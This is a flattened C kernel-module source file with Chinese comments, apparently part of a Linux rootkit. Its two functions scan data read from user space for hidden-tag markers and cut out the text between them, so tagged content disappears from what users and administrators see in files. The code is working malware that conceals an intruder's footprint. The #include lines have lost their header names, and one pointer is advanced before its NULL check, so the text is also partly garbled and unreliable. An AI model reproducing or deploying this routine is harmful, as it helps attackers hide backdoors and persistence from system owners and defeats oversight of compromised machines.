#include // 包含用户空间和内核空间之间的数据传输函数 #include // 包含内核内存分配函数 #include "file.h" // 包含自定义头文件 // 检查给定的缓冲区是否包含隐藏标签 int file_check(void *arg, ssize_t size) { int ret = 0; // 初始化返回值为0 char *buf; // 定义字符指针用于存储缓冲区 // 检查缓冲区大小是否合法 if ((size <= 0) || (size >= SSIZE_MAX)) return ret; // 分配内核缓冲区 buf = (char *)kmalloc(size + 1, GFP_KERNEL); if (!buf) // 检查内存分配是否成功 return ret; // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) goto out; // 如果复制失败,跳转到out标签 buf[size] = 0; // 确保缓冲区以NULL结尾 // 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签 if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) ret = 1; // 如果找到标签,设置返回值为1 out: kfree(buf); // 释放内核缓冲区 return ret; // 返回结果 } // 隐藏缓冲区中的内容 int hide_content(void *arg, ssize_t size) { char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置 int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量 // 分配内核缓冲区 buf = (char *)kmalloc(size, GFP_KERNEL); if (!buf) // 检查内存分配是否成功 return (-1); // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) { kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } // 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置 p1 = strstr(buf, HIDETAGIN); p2 = strstr(buf, HIDETAGOUT); p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾 // 检查标签位置是否合法 if (p1 >= p2 || !p1 || !p2) { kfree(buf); // 如果标签位置不合法,释放内核缓冲区 return size; } // 计算新的缓冲区大小 i = size - (p2 - buf); // 移动标签之间的内容 memmove((void *)p1, (void *)p2, i); newret = size - (p2 - p1); // 计算新的缓冲区大小 // 将修改后的缓冲区内容复制回用户空间 if (copy_to_user((void *)arg, (void *)buf, newret)) { kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } kfree(buf); // 释放内核缓冲区 return newret; // 返回新的缓冲区大小 }